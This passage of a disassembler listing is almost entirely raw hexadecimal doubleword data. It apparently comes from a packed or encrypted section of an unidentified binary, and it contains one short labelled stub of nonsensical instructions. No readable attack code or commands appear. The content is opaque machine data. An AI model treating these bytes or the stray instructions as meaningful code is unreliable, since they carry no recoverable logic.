27E8B050h, 2B7D852Ch, 0A19F324Dh, 5E6E68A4h dd 687FCD6Bh, 0DAAEB4FEh, 5DD94AF0h, 907A7D61h, 0B51EB9Ch dd 93126B28h, 930BC1BBh, 0DAF0EB97h, 0EFC1013Ch, 0B61B3006h dd 80B7652Fh, 0A73257B4h, 0F1017F40h, 5D0881CAh, 0B623DFF7h dd 13FD8D40h, 90659963h, 10C5E950h, 6F2EE1A9h, 26B19B34h dd 6D81E26Fh, 800EFB11h, 9B419340h, 0D80DC20Dh, 29DE667Dh dd 5186FF7h, 0A3B0D3E9h, 7A9316E8h, 0F5C1F2CDh, 44E3F63Ah dd 3216ADAEh, 1AA2136h, 8A47DE92h, 0F188702Ch, 7E593D12h dd 0C2385FEAh, 4A0A43EAh, 48DD560h, 792E882Fh, 55F202BBh dd 1E202237h, 132DD047h, 2CE143E9h, 0B64AFAA2h, 0A6FF0574h dd 0ABEC4E77h, 39B13686h, 4ED38131h, 8C455359h, 60489DB8h dd 99D0C2C9h, 16F7C9Fh, 2A1E2CF6h, 4C843E42h, 4995D4EAh dd 0EED55BD8h, 978B77BDh, 0DD7AB17Eh, 0DE95D816h, 0FF394782h dd 2158151Ch, 0A575E9C2h, 9FC13677h, 849F444Ch, 8310E1BDh dd 0DB1B5972h, 7E3BC302h, 7EDC2E97h, 586008A0h, 371B170Eh dd 0B0E1950Dh, 5D280444h, 889D5061h, 2BD441E8h, 17176D1Fh dd 50189DE2h, 7B0C2E81h, 881A4227h, 58140722h, 881713C4h dd 0ACB761FAh, 0D2246395h, 3124CECAh, 0F8D442A9h, 0B464857Ch dd 0CB89D1FAh, 50371223h, 0F9F752A2h, 0AE26845Fh, 0FBE511B2h dd 9BA3F384h, 0BF32A014h dd 0F74A00D5h, 0BCE909D8h, 5BD67E66h, 88D903E9h, 3A2538A7h dd 1F7ABA98h, 0ADE3B99h, 160AC042h, 3A4F51Ah, 13BCBC02h dd 0E50CDDF7h, 0FEDC9C4h, 2BFC64B7h, 27C8E465h, 0DF1F73C6h dd 0DC590E2Dh, 10DBE863h, 62B8000Dh, 2D77F96Ch, 9408007Ch dd 25D0F71Fh, 991F2B0Ch, 3F5F4041h, 68EDEB02h, 5D9AF520h dd 0E916D816h, 7389D618h, 0C2F2F801h, 0E2EA8000h, 3E5A56F0h dd 0B48B89EDh, 4EFD8DC2h, 3F4E9D33h, 0E0383509h, 0E405D7Eh dd 5204370Fh, 6BC0E91Fh, 426A3BE5h, 39C4683Dh, 27FCC7Fh dd 0EF933ECh, 0C35898E9h, 2D4E049Dh, 4CB85FAFh, 0BB441827h dd 0F55DDF0Ch, 40B2C635h, 0B3975FA6h, 0A8084B49h, 0D143B12Bh dd 87C2BE05h, 16D25556h, 2FC835A0h, 0A21EAA27h, 861FE779h dd 10C0297h, 48461C94h, 2A15CDE9h, 0F129FD44h, 2EF932BEh dd 52148DF4h, 151801F0h, 1CBA743Ch, 72890BA5h, 0BB52F705h dd 2C3FCC9Dh, 3E92172Dh, 460EF9BFh, 801C1DA3h, 0F3CF4DC3h dd 0D0636968h, 31BB073Bh, 0A507D66Ch, 308AB078h, 7B34D377h dd 0BE0022D2h, 67B75155h, 29CA0581h, 834D341Dh, 0E5E1EAE7h dd 3D056008h, 0FAA2D18h, 304D5D18h, 120C5B9Ch, 0F528B9F3h dd 4E24A789h, 0BD45FB57h, 0E1085692h, 0D4FA6180h, 1B8EA84Eh dd 5C096CAFh, 0B33A33C7h, 89FBE2EDh, 9616C556h, 0EC9EC458h dd 0ABE210A9h, 9905AC2Dh, 0EBFDC2E4h, 0C1077A75h, 6ED8F164h dd 2AA9F9C1h, 20A8A912h, 0A858FAA3h, 3AE95A46h, 0BBA8E3B1h dd 6DC7139Dh, 113F8F2h, 91508CDh, 4BD98706h, 33829D06h dd 5804CE51h, 683EDCFFh, 0D327B524h, 62920694h, 715DEA8Eh dd 6C1349B2h, 4E228C42h, 0C85604BFh, 0DFDDFBF6h, 6C40716Eh dd 68C3836Fh, 0AC781354h, 0A3CBBBh, 7C6AB8F6h, 2F28926h dd 0E955505Eh, 0C79BAE9Dh, 0F4379CD3h, 750976CFh, 0F9FF2C66h dd 0BAED3407h, 0D1F64B9Fh, 1583839Ch, 38A1685Ah, 2F6382D1h dd 1F09B2CCh, 572FBB3Bh, 5D1C4E2Ah, 8DC226C9h, 0F0DCA083h dd 81D5D377h, 0D0011FADh, 0D4C2F6D2h, 9330F729h, 2A4B2D68h dd 17C8B58Ch, 0F41FFE41h, 27CBB86h, 0B8E9440Eh, 64FE17CCh dd 0EEBB1756h, 2482DA39h, 0C780FFB4h, 7234E7E0h, 948BED99h dd 0A5BFD3D7h, 569D38F8h, 4A5E720Eh, 887661C0h, 3F0DB80Bh dd 135C78F9h, 11DEC302h, 45C10FD4h, 45BA00B8h, 2D4A2710h dd 0A01C2075h, 0BFB759BEh, 0F90A0452h, 91465FE9h, 2D5EF080h dd 590A1E4Fh, 7A135315h, 0B88A90FFh, 4E5F1843h, 80D261F1h dd 0E1787293h, 4584C19Ah, 7B404A70h, 80001F5h, 0B14E21E9h dd 80020221h, 40F7A6F2h, 96CAFE71h, 51505850h, 0B8EECFA6h dd 33552A00h, 5E02057Ch, 56390E63h, 22C4FCBEh, 0BFB5BE6Ah dd 0F9154F41h, 1B13EC7Dh, 0C565AED6h, 4BC8EB01h, 43A357Eh dd 101F48D2h, 97EA8012h, 0B6E3C4Ah, 0A1E9C201h, 0BA388C72h dd 1E34162Eh, 5A674BBBh, 1655206Ah, 844F3042h, 5BA0B90Ah dd 310A6C09h, 862286CFh, 0FCEFAA7h, 8972974Dh, 8B89E9B2h dd 7F54E2B0h, 0A4F634E6h, 12A36E59h, 2EA22FF1h, 0B1B2FC92h dd 0DA6CE7E9h, 534F9F76h, 1FBC8F17h, 0C5D7A9B2h, 0D4880B2Ah dd 0F80DD705h, 54A74EB4h, 0D2E1B95Ah, 365739FAh, 5BB65C6Ah dd 0CEF522ECh, 1C8A44DAh, 0CA00DBAh, 0E23067E7h, 64B53C7Eh dd 30FB422h, 2F3E3618h, 0F49B6001h, 0F5892D7Dh, 93D8B3Eh dd 590123C1h, 18708920h, 0FC2D0ED3h, 0FE765879h, 2699F781h dd 1701DE5Dh, 0A2A840F4h, 20180E48h, 37C1E3BFh, 178F1B1Dh dd 0C98305BEh, 1BB3954h, 3ECA6264h, 0EAF2CF29h, 99FD0889h dd 1D6A2A6Dh, 5975F245h, 0E2288287h, 807D48CDh, 2FC9817Eh dd 0C270970Dh, 5AC9F85Dh, 6E42B0h, 5D5FEC3Bh, 6853C331h dd 2B42F724h, 2DBB5665h, 10AB7988h, 29481F9Dh, 0AD42C125h dd 330A2055h, 0BD1BE01Ch, 0BB0057C2h, 2207677Ah, 0E5A1015Ah dd 0E95F0800h, 0C81361BFh, 0CCA7E680h, 0ABF602F6h, 13766049h dd 27CC15BBh, 0B00B4CB6h, 0FC07BE5Ah, 7F2916E9h, 95D34692h dd 11524B0Eh, 9C1E2101h, 4D32936h, 495A0809h, 186C107Bh dd 813BB85Bh, 141C7FE8h, 8F5246F9h, 661F6188h, 0B1343C25h dd 6E4D1E15h, 8D656631h, 3E48CCC1h, 0E5209E87h, 9558E230h dd 0B38EF4FEh, 87DC0B29h, 51EB8820h, 17FCACB9h, 5A61DC3Dh dd 165F292Fh, 545625F1h, 0F5D20B56h, 0A29EBDC2h, 70B0F7CBh dd 0C62D05CDh, 626CD319h, 83C48FA2h, 85E95712h, 62ACDFC2h dd 0FA727748h, 8213D45Ah, 89A4F3F8h, 0E8B67F02h, 41F8B880h dd 530B6799h, 0A3C13FE9h, 2F20997h, 4114CAD8h, 4A4038F3h dd 5518227Bh, 0C21F012Dh, 0D6021D39h, 3084BC57h, 0A1052A94h dd 63B12A4Bh, 1702F62Ah, 9466CE2Eh, 0B43F90A8h, 0DD615290h dd 8FD4282Eh, 0DC53295Eh, 0B5967DFh, 0A3123982h, 6425BA00h dd 3D6B0C2h, 0D85675EAh, 0B19BE928h, 0B9F3EA84h, 61B3B74Eh dd 514422CAh, 54A66A20h, 3CF7834Fh, 56AF93D0h, 0DBE7DF48h dd 18DF1A16h, 94486B40h, 5FFA31B9h, 59FFD5Fh, 1E883221h dd 8805E982h, 3902A007h, 4311EB71h, 165DD912h, 59E5D671h dd 65F55F81h, 25572151h, 0A8ADFBE0h, 7D9976DBh, 2F33CC2h dd 6C3F888h, 0A3B7C6A3h, 0D8D2585Ah, 96567A41h, 3DADC75Dh dd 0D9F1BF7Fh, 0D88AE9E2h, 5455256Eh, 0D376CF7Ch, 95E2B341h dd 0E9EAC189h, 0DA50FC5Ch, 0E5CD881Dh, 0D74575F2h, 405BE989h dd 27685FE0h, 38D66B15h, 9F665E51h, 28172C07h, 0AB96CED8h dd 9EFF8513h, 25644C4Ch, 3CE5263h, 0F7EAD107h, 7EEA4AD2h dd 0E601F6F9h, 5E4F2A2Fh, 4A9EF27Fh, 922DE7B7h, 0AB5B9F84h dd 680CC8F3h, 86D33F61h, 72316540h, 891F1CDh, 3E084587h dd 0D27E83E2h, 0F1FC0921h, 0CF09A7Dh, 278057A4h, 16D52DEEh dd 31F3012h, 1C49CAFBh, 9122A724h, 2837EB02h, 2DF2DCFAh dd 680485F3h, 0D8AB321Fh, 255BFFB8h, 5417898Ah, 0D1427159h dd 5FC8775Ah, 0FFE23D84h, 0F9DB22C5h, 0FBED4A3Ch, 0DCEB800Fh dd 7E6328CBh, 68BE624Ah, 0EB4F700Fh, 9F82F598h, 4E5D278Bh dd 0A00EB43Ah, 43025080h, 0BB63409Eh, 0B511702h, 822D6874h dd 49EAE0Fh, 2CB8AD58h, 48B85525h, 662E0234h, 0DA422868h dd 6290EEA5h, 7BF03F6Fh, 80C7FE00h, 904970EFh, 2CF5E1D6h dd 795A66D4h, 0ED681728h, 0B276300Fh, 0E239C027h, 3EA9608h dd 99E5B8F0h, 6C688580h, 6167AB07h, 18DC48A0h, 94050558h dd 0AB168E34h, 0E1E93602h, 452751E0h, 0E59C31E2h, 0EDBC3BF9h dd 0F6BA8BDEh, 16B89FC4h, 17824DB7h, 5AB8C0D4h, 0A10BB151h dd 8DF5F180h, 520DD05h, 9A3A146Fh, 0F020A433h, 0B1250D98h dd 4309F20Ah, 0E4125037h, 70226D4h, 799655FDh, 0A84E23B2h dd 6642EACBh, 5B2ED5FFh, 0D109C888h, 2BC80E0h, 0FA613CFCh dd 389C6B77h, 0F736605Fh, 89799FC7h, 791CBB43h, 0E9D916D5h dd 0A032BC9Bh, 0CE665A68h, 0EB535FF9h, 0ADECCF25h, 0DAF465DDh dd 46E7D75Ah, 0D52F0922h, 0EB8E545Ah, 2042D65Ch, 0CA10DDD3h dd 848E7C1h, 0C8192F8Ah, 0B7DCA4A0h, 0E9A03279h, 49685817h dd 0E03460BBh, 0EAB08F79h, 201EBD00h, 5045612Fh, 1C7E16B8h dd 0FA6212C3h, 3ECD9107h, 1EB03F44h, 0C1272FCCh, 0E300D3F6h dd 9EB0B6Ah, 9E5D50E9h, 0A7422AD3h, 23780097h, 0EBC11A38h dd 0C225E902h, 0C5246BEAh, 0B47EDAE5h, 0C7AB3098h, 0B2E3EF5Fh dd 0D018FE96h, 9C11854Ch dd 206D821Eh, 8AFEED31h, 1E01A526h, 89A8A4D3h, 1F01A445h dd 5980151h, 4A9E52Eh, 7C3CCB08h, 0E422F960h, 0A91EAB19h dd 0E42C5FA4h, 0E9855F59h, 8D17D599h, 2A60E961h, 53E3A14h dd 28E319EBh, 3E1FAB00h, 4D3144C2h, 8790B9C6h, 0B9D0012Dh dd 729D2116h, 4EFA01FBh, 0C25216E9h, 28606256h, 23B7E2Ch dd 0E955DFF7h, 20DF5FD6h, 1317621Dh, 1A35BE45h, 83C10F66h dd 8F3379C1h, 92A3F357h, 407DBA10h, 2A1E1DDBh, 0FACC461Fh dd 39501662h, 264CF088h, 25C87D75h, 1451E6A0h, 7B3CCE6Ah dd 3A02F09Fh, 20DA1828h, 0C021AB30h, 91D11F50h, 54454300h dd 0B1D712Dh, 0E829145Ch, 5D010705h, 0FDED9035h, 0D8097FB4h dd 1283DC01h, 0B50BFA4Fh, 5600DF47h, 2DC00A9Dh, 0B22CA07Dh dd 58108D06h, 30CEA5Ah, 3CD2063Ch, 0CA02DAF6h, 9093E913h dd 0C04CFC69h, 317F6812h, 0F2815B00h, 409A20ADh, 5AD32C21h dd 0BE4314C6h, 7F5D3903h, 7A054F4Bh, 6E286C8Ah, 4605B9B9h dd 0E886D096h, 0D652166Dh, 17CF7ACCh, 119A371h, 6FEA3DC6h dd 0A6B74033h, 6C5AC56Bh, 81F10ABh, 27A75F24h, 1069BF2h dd 0E517E9DAh, 4FD77755h, 565600C1h, 1E087768h, 365E1F30h dd 2D716278h, 2C575248h, 19B9A293h, 0CC73FB6Ah, 829FC571h dd 835413CBh, 0F8E07526h, 7B78D705h, 2D1476DEh, 5E097C07h dd 55291C1Dh, 609D686Ch, 82CB370Dh, 0B3028950h, 89344D76h dd 0EFA641F1h, 3D0B3E36h, 0EE00FA11h, 3440FE1h, 0EBA7748h dd 0F9316370h, 3A8FF0Ch, 6A8B02DFh, 0CD891BD2h, 310EB870h dd 846BBA5Ch, 1EA5EF5h, 0E4532677h, 69927AFAh, 0B82E0CF3h dd 64295130h, 47F23E6h, 48E93B80h, 774909F6h, 2218C760h dd 6840B105h, 0A5D86057h, 0F4BA414Dh, 0E5136396h, 0F9165828h dd 0C144E8C0h, 0E92F0BF7h, 0A2798936h, 3B6BF183h, 0D067E965h dd 4A80B33Fh, 0D901FCF8h, 0BF28E161h, 6FF6CCE6h, 0DF06314Eh dd 625866E7h, 52110C1Ah, 0C5C73BE3h, 0A1CAC103h, 0DC59029Dh dd 70888940h, 0C11F5FCEh, 119603E2h, 309DA55Ch, 25A47ADFh dd 9F89CD9Fh, 0BD9C5FDAh, 0C2DD5A0h, 0C114DA01h, 95E907EDh dd 0EA4C402Eh, 73D03DF9h, 1C09DBFDh, 570106CAh, 4881DA9Ah dd 202F67A2h, 0D36C7ECDh, 2F68A279h, 0C7466454h, 7015602h dd 0F0CCE977h, 0F32D05CBh, 0AF45D23Eh, 5B39B4D8h, 4A9DB3B8h dd 93FE405h, 9CC0C6h, 5FB32B52h, 61E9D689h, 0C243EB9Dh dd 893A9B4Eh, 0B340425Ch, 50344784h, 3BA0CD50h, 0EC4A6207h dd 0B6E612DEh, 0E20402FDh, 8063D232h, 2DCD2274h, 0EAB19C5Fh dd 2F6BD93Bh, 542288A0h, 0CF2A65Ch, 1F43512Bh, 46180E0Ch dd 3CB81D6Dh, 0AAF9B886h, 164AFDEDh, 0C588A5C0h, 44CC99Dh dd 896DE101h, 775DEEC1h, 0B85A7949h, 8BA15E9Ch, 95CA68F0h dd 3FB0EED2h, 1670DD82h, 8C6F197h, 5F13C376h, 123152AEh dd 2BD9E5D5h, 9A13B1E2h, 3468FE21h, 2E3E30E9h, 75E8F5E5h dd 0D16BEB0Fh, 5F811CEDh, 8935FDB2h, 7BFAA441h, 165BCE6Bh dd 0BFF794F5h, 110BBD5Eh, 0B25C2A1Eh, 0BE664203h, 0A0F15A63h dd 4E438870h, 41762535h, 0EC5C996h, 59278FBFh, 0E90D042Ah dd 15D19E78h, 7FCD7DFDh, 9D74DBE8h, 0A6241579h, 0F5E47909h dd 5F2AA094h, 5398C039h, 5C400B58h, 0F8680285h, 41489441h dd 5D69FF04h, 0EF6C902h, 1E606519h, 532D2F35h, 2DD6C26h dd 748001B3h, 0AD40E8C1h, 6092FDB1h, 19053E25h, 406BF992h dd 5E29C50Eh, 589FC886h, 0B43D4BA9h, 1132C383h, 75080858h dd 1B6ECC22h, 0CD360009h, 513001DCh, 6E418278h, 0DF403F2Eh dd 0F9A704D3h, 62A07021h, 0BB5E4A08h, 0B73F4D06h, 0FD4F281h dd 291AE023h, 3754A98h, 244E83Fh, 712B04CEh, 0AFC2604Dh dd 0F892796Bh, 8F101F6h, 0B5E91E70h, 0D0D352F2h, 5996761h dd 57C22A82h, 5F9809DAh, 23CAA0Bh, 0EEA70017h, 7D5A9533h dd 0C0584F50h, 0DDF75F96h, 0DCC0D5E4h, 7AA97441h, 0C616D94Dh dd 7BBFE4DAh, 84D54297h, 85A85228h, 351278C0h, 0FD30E93Eh dd 1CC3DF21h, 34972E7Ah, 7FE9C2DFh, 82908E70h, 0B3207290h dd 500092FDh, 0BB30C450h, 63C88FE3h, 2CC03C4Ch, 62173E18h dd 255E100Ch, 967D61B8h, 9553BFEDh, 56730503h, 0CC38044Eh dd 0C4267C18h, 0B8CF9074h, 0C52541A1h, 8C62E008h, 79500118h dd 141B7735h, 26B06B1Ah, 2DFCE8B8h, 610194FBh, 92D219E9h dd 88AA5C6Eh, 949CB507h, 5A015712h, 12737641h, 345A5830h dd 0F1143BDh, 0D1E00EAEh, 0E9FD297Ch, 0B530259h, 575BD901h dd 2A03196h, 0BB2F6CC0h, 279FFE49h, 870A22DAh, 0BE4BBF5Fh dd 0E5042A03h, 3BF3B06Ch, 20EB2F03h, 360C44F2h, 1C4DC66Dh dd 862C18ABh, 5CD40CAEh, 0ED60FD2Eh, 0C27D76AFh, 0E562A36h dd 0F6E46EEFh, 8D201F9h, 290E9EE1h, 0B5BFE4DFh, 673F61CFh dd 0E1B4344Ah, 26606B91h, 387E1649h, 0DAE04372h, 3736E5CBh dd 0E9156079h, 4F977873h, 12D7A1E0h, 0A306B168h, 0D82FD7h dd 91055972h, 48642729h, 0C72D3F45h, 0B147B4CFh, 16B57981h dd 1A94B09h, 0BD52DCD2h, 0D5D3009h, 3E0B8279h, 0D1DDC066h dd 594EB6E5h, 49D72ED3h, 0E02F9060h, 8F6B83Dh, 4A035385h dd 50103838h, 0B0EEC8F7h, 40BEEC5Bh, 6CD8C516h, 99FACC31h dd 5EB3C097h, 0EBB80050h, 0D6F1C34h, 0D07E3A2Eh, 0AD60E914h dd 0F68E0C9h, 3093CB3Eh, 6A5215Ch, 0F40AFB02h, 0E9055BB3h dd 0C02E0796h, 736E04E3h, 0A5C3BF02h, 2C1E4030h, 0D7E92FEDh dd 0DF56B6A9h, 0E5392F69h, 0CBBAF12Ah, 0BCE84BDCh, 0D441FBD2h dd 57A26853h, 56026A66h, 5A764C37h, 15A40E7Eh, 0F9019202h dd 4349E016h, 2C8D2603h, 11F02F6Ch, 20654548h, 0FF5F163Fh dd 0C84C3377h, 9FDA194Ah, 0E1B61861h, 719170F6h, 1741885Eh dd 6ED99FCAh, 0DDA0DDECh, 0B370A717h, 0BD2171h, 0F1DF219h dd 685B8AAh, 0C26FA2EAh, 10C0BE74h, 0DE18D173h, 0B7E59F29h dd 22E302BBh, 0E176BB6Dh, 178127AFh, 4C419CC1h, 58C99674h dd 1F1052A6h, 0D85B27DBh, 2C314C4Bh, 94CCAC4Bh, 24C45E90h dd 2C441E8h, 98B201BFh ; --------------------------------------------------------------------------- loc_4F0044: ; DATA XREF: ___:00437A34o inc dl leave retf 0D5EDh ; --------------------------------------------------------------------------- dw 0A2Fh dd 588C5E62h, 3B13BBBAh, 48F219A6h, 11477C2h, 7283C40Eh dd 0A7133FC5h, 17EF8FAAh, 4F57F7E9h, 29213E8Ch, 0ED91C4Fh dd 0E6DDC97Ch, 0BE7F2DFDh, 0A75E97B1h, 7F48001h, 0E028E320h dd 0E9C3FEA0h, 7208742Dh, 0F8EB0151h, 295B4A3Bh, 0F5086AFBh dd 8A0114F7h, 419A432Eh, 0FF1149EFh, 0D2F7D69Fh, 997D0882h dd 6E112985h, 0B0648010h, 0F6C8FE80h, 0AE04DDD0h, 90490836h dd 53C1080Ah, 0E9D9F6E0h, 1C80B5A7h, 0B4189ABFh, 0EA053598h dd 0D6E7E77h, 61B78401h, 0D46F6891h, 1C081A58h, 1A72140Bh dd 0FEED1820h, 3E38FB29h, 466BC9C1h, 9DDE4038h, 29608D04h dd 6235E1D2h, 5C317C0Fh, 0C47EE65Dh, 0C34AD818h, 0FDE50167h dd 0C29A2D1Eh, 0A4EE7DB1h, 5ECA0444h, 5B738BBDh, 666D9729h dd 0DB801048h, 0C6F4850Fh, 0A024D3h, 0B1B934h, 4B2DC5F3h dd 0CDB06847h, 3A0F47A9h, 0EFBBEE00h, 0B044CD4Fh, 2E659779h dd 3DC76884h, 423839BFh, 0B60239C3h, 0D69A4112h, 1634BD00h dd 0B9217D01h, 364B3E7Bh, 5DA9256h, 2EDE08BBh, 9CE20629h dd 8798AB2Fh, 0C926312h, 0E081A8B8h, 2B079B6Dh, 0E24BFDE8h dd 0B1E9C272h, 886BFC0Bh, 0C2825905h, 40C0080Ah, 51EA33h dd 0ED3E31B9h, 2E1C130h, 0BB624160h, 0CFB2F4F0h, 0A544A730h dd 40E6B918h, 0E9175908h, 4A900B55h, 5AA457C7h, 72FBB002h dd 665E309Ah, 0B4A11BE9h, 0C7287E8Dh, 0CD645E9Ah, 4207E491h dd 0B8EE29C0h, 5DEB71B9h, 0C0C43956h, 2CF6FFE1h, 0C3685001h dd 604F457Fh, 7941BC2Dh, 952C55ECh, 13C0E09Bh, 0E91B6680h dd 0DC258AD2h, 0AD6E66A1h, 0F91AF406h, 5980037h, 981F403Ch dd 0F0EA0687h, 1A436C50h, 1709F23Ch, 0F71F21F8h, 2F43F7DDh dd 0DA317632h, 1829DC5Fh, 9FBBC8DFh, 54263F13h, 407DA7ACh dd 0C5BF5F1Eh, 1C0E8019h, 0DCE9728Eh, 0FD2F89BFh, 0BC27D018h dd 9D5D5480h, 0E9E10079h, 1787193Bh, 816A3CEBh, 61F30161h dd 0AF0814D2h, 0B219DF04h, 0BCD7F705h, 0EC15C6Dh, 0DE6CA051h dd 2DCED540h, 4BF6E9B4h, 0D86BF9FDh, 2703AD54h, 905F4851h dd 12C529EDh, 2831D6E9h, 1C2D880Ch, 62AEF187h, 71DFBBB8h dd 1804A73Dh, 0BF0E805h, 3E3C1h, 0C3154E94h, 3A199416h dd 222D6C85h, 9881AF2Eh, 3B58CD5Fh, 40E72568h, 0A04A0AD3h dd 9007A100h, 6408E96Fh, 546E95D0h, 1B270BA6h, 828E7705h dd 1F666382h, 2B5012C1h, 0F54D0C0h, 0E9091260h, 0DA844Ch dd 80A691A0h, 0FE502187h, 846FC6FAh, 0F201A452h, 0D295A6BFh dd 8F5BA3ACh, 24E0492Dh, 20389BB5h, 0AEBD07C0h, 0A5774829h dd 9F60BAF8h, 9401B668h, 0D796629Dh, 0C113B2F7h, 57C2D917h dd 21EB64F1h, 0CA09E922h, 210D223Eh, 0ACD0C5D7h, 0A02E4CEFh dd 64EF3D9Eh, 99F45022h, 2F77BE95h, 0C80B209h, 383F451Bh dd 1BBC425Ah, 1544B574h, 0E91F0462h, 3487048h, 5846852h dd 6D96CCEh, 0DE113913h, 92D6B6D7h, 8DB00F7Ch, 0C8E950ABh dd 0B9B04h, 7B932558h, 35470FEDh, 71C91B01h, 0B1C73BE3h dd 0F4221A0Eh, 26127DC4h, 29B0312Fh, 0C0BB92A6h, 1CC4052Bh dd 0F2FB2316h, 13DE1DCh, 65140267h, 0A1FC900Dh, 0B3C9038h dd 41345D7Bh, 0D0BF6EF0h, 65FD0EB1h, 0A8A02977h, 90CCA38h dd 0E53E0795h, 4A593901h, 0B6850429h, 0D7DFF83Bh, 2D0231A9h dd 3C9129E2h, 7C088FFh, 68575B01h, 8E3647A9h, 0B6055F8Bh dd 7DDFF18Eh, 0CECA10ADh, 4026543Fh, 15E85FCh, 30AB01D9h dd 2A367C6Fh, 0E18BEDA9h, 932D53FCh, 27D9C862h, 0E94816B9h dd 25BAACC4h, 94CB1658h, 283C02B7h, 627D7AAAh, 3AEC774Ah dd 364E7E04h, 44EF5927h, 16E53E3Dh, 4138F142h, 0DF8A49B9h dd 0C7011989h, 0BAACCE55h, 0D2F0176h, 0CA814629h, 7A19D9D6h dd 11EAC82h, 0A880CB28h, 0AA2C5D58h, 3409E2Dh, 2D09307Ch dd 0DC18E801h, 9E3DBB53h, 21AD12h, 347C05E2h, 104462A0h dd 0B0F0A9E9h, 52B8DEFEh, 97CAF607h, 68E2BDC1h, 0A5B800D4h dd 514B5A23h, 3D31EEE1h, 410A81E3h, 529BCD2Fh, 1CC408D5h dd 9DB90B20h, 0C743E641h, 0F4CDAC02h, 0D7316E80h, 75D0204h dd 9D74D1F6h, 0AAEC15D4h, 41FA1118h, 0E39F5BDAh, 5AE47011h dd 93C1A056h, 67991726h, 853CF10Bh, 4FE1F8Bh, 207CDB0h dd 7420C4B7h, 85B203CDh, 0CF99504h, 0C42B7CFBh, 8213C173h dd 9E08C0BCh, 3F31D807h, 165B0117h, 0C15B5E1Eh, 6834A6E3h dd 0D7FD932Ch, 2498984h, 0AB673268h, 30F1403Ah, 0EB2285Ah dd 7C350BDh, 9BFB34E9h, 62498085h, 2BA7321h, 1EE1B180h dd 33D38924h, 992D6480h, 0C0DF31FBh, 6020F748h, 0DB9D1C96h dd 0D7862013h, 0BE70EF54h, 0B5E2685Ah, 0EF5F3D8Bh, 0E95C8250h dd 65DDB22Ah, 542D3ED2h, 56B905h, 0F377829Eh, 0DE7E890Ah dd 0B1AA8C79h, 2F7195DDh, 0E9E2C154h, 1CE8FF16h, 6E126CBDh dd 98B1366h, 4C0D8410h, 8CEBB40Ah, 0BB32E9E1h, 57FA3926h dd 3831BC19h, 0FB2C4A92h, 0DCEF31E9h, 0CAD68786h, 46987FEh dd 3EDBEECh, 8599607h, 6D9C9F3h, 0C1BBB542h, 3A75EED5h dd 90407D38h, 0B9F0C007h, 22677B1Ch, 1562ECF4h, 0CB7667Bh dd 652CA7C6h, 0C60048ABh, 66B7164h, 35D231E9h, 2C91F181h dd 0E8D816E5h, 0AC6F3BB3h, 1053C62h, 242B5FEh, 6232F470h dd 0A50F9328h, 0DC986F6Eh, 0BB1B4022h, 0EB3D4509h, 45A77F0Bh dd 53D1E2E4h, 0F026EBDDh, 4E20D93Ch, 0D6DA0C5h, 0D40F351Eh dd 3B98E944h, 0E4162514h, 0B72FA8DAh, 140C12D3h, 9360EDD1h dd 0C3FE3479h, 2414F404h, 0E1DB0381h, 992E082Fh, 2E3A840Bh dd 28ABEF88h, 0E73ED05Ah, 80029DC0h, 0CFFEA841h, 0C7DCD7F6h dd 730404BAh, 0BBDAF9E9h, 0E62AC1E5h, 0F8522E63h, 5720F31Ah dd 0EA0907C0h, 645B78F4h, 0E9010395h, 610856B7h, 7C5C8940h dd 3A445C71h, 38D5DC25h, 0E0ACB6AEh, 4E2790F0h, 2F23E860h dd 0A7B5EF5Eh, 60258B16h, 25932045h, 0BD12BF6Eh, 575E4B60h dd 449C5898h, 0AF22752Dh, 0BF03B636h, 4B73F1BBh, 0D6A7453Fh dd 0EA3C745Ah, 42B82A44h, 0A79D63E2h, 0FDA1905Dh, 2C31094Eh dd 0AF85DAF7h, 2C91CA03h, 6D89FA54h, 0CE475CEh, 0ABB6C14Ah dd 2376BE92h, 0D0CF8A93h, 2BF49DF8h, 55DCF562h, 0F81F817Bh dd 54F01816h, 0B0C27288h, 0E1C54E42h, 1FF82EF5h, 742949B1h dd 4CBD5D44h, 25A9321Eh, 62D58F0Bh, 9A3CD59Bh, 539D1CE8h dd 1E4AAFCCh, 97F93082h, 1371E577h, 848B5338h, 0B7B001F8h dd 0F87A167Dh, 659DD781h, 784604CAh, 54B1EA1Ch, 9FC00704h dd 40031FF6h, 1B7D7F6Eh, 0B3E93B5Fh, 6C3A1507h, 1D41570Bh dd 0F3D6F54Ah, 9D6DDDAh, 0C708549h, 0DB9731BEh, 3C843279h dd 509025FFh, 0CBC5B42Eh, 913794D8h, 6F60B1BCh, 0D403C52Dh dd 710F5C80h, 4D1FCFFBh, 21CDA36Ah, 0AD982A25h, 0C0B80BB0h dd 897708E0h, 0F014020Ch, 9818E388h, 72045AD5h, 13487012h dd 0A03FE9E8h, 0BC04BEB0h, 29267E10h, 9F50F0ABh, 7D75B52Dh dd 0E95DC900h, 0A491FC51h, 163BBF00h, 0BC781B6h, 36115B46h dd 0CFE688h, 3F350953h, 0A227E945h, 9D9AD5C8h, 0BDF7A84h dd 0C27BDE59h, 0B900A2D9h, 500612F8h, 18F5C539h, 0C161C79h dd 891A3435h, 61942966h, 5EB1DD70h, 8B4C640Ch, 3E3C13Eh dd 0C822CB07h, 60F70F97h, 7FD598D3h, 0F09D6109h, 31503BDh dd 26E92C5Fh, 0F9BA2EDh, 0BD55575Dh, 80C78309h, 80A4F74Bh dd 0E9E61370h, 0AD45530Eh dd 5D1704A6h, 0D0BA404Fh, 88194E74h, 0EDE92B13h, 0D286F7A0h dd 0B010AA2Ah, 29175206h, 0C701F91Fh, 6FF37307h, 1F1BE7D8h dd 1F321E76h, 0A220BEFh, 0CA6B1502h, 0E96E2107h, 0AA83D8D0h dd 8D1DFDE1h, 0D4ADE909h, 725627AAh, 5DD37DD2h, 0CAAB4596h dd 215A1C30h, 0D71ED727h, 83E719Dh, 66A7B38Dh, 0F2554E55h dd 0AB84D31Eh, 7F8752A4h, 0BAF609EEh, 51FE5F7Fh, 5383011h dd 7B0A570Bh, 3575F5F0h, 59849BC4h, 76EF0735h, 0BE5B055Eh dd 164B4F05h, 1FBD40EFh, 305AD728h, 105BF83Fh, 0C72E8499h dd 0DF0ABB9h, 3096FEA2h, 0F2407ED7h, 20641FB1h, 0AAF7D2CBh dd 0BF31F188h, 56970352h, 0A8CE727Ah, 0B7A2228h, 0C7F6A09h dd 0D5A8D754h, 20E90508h, 5954BEC6h, 57F20374h, 0B7E520Fh dd 0B3E90212h, 1F68FBA0h, 647A3E2Bh, 0DE6ABE25h, 8131E5F3h dd 52A29D2h, 6151BBAh, 0DCD14FE9h, 4340DF87h, 0EF3D58E9h dd 9F42F79Ch, 725B6AABh, 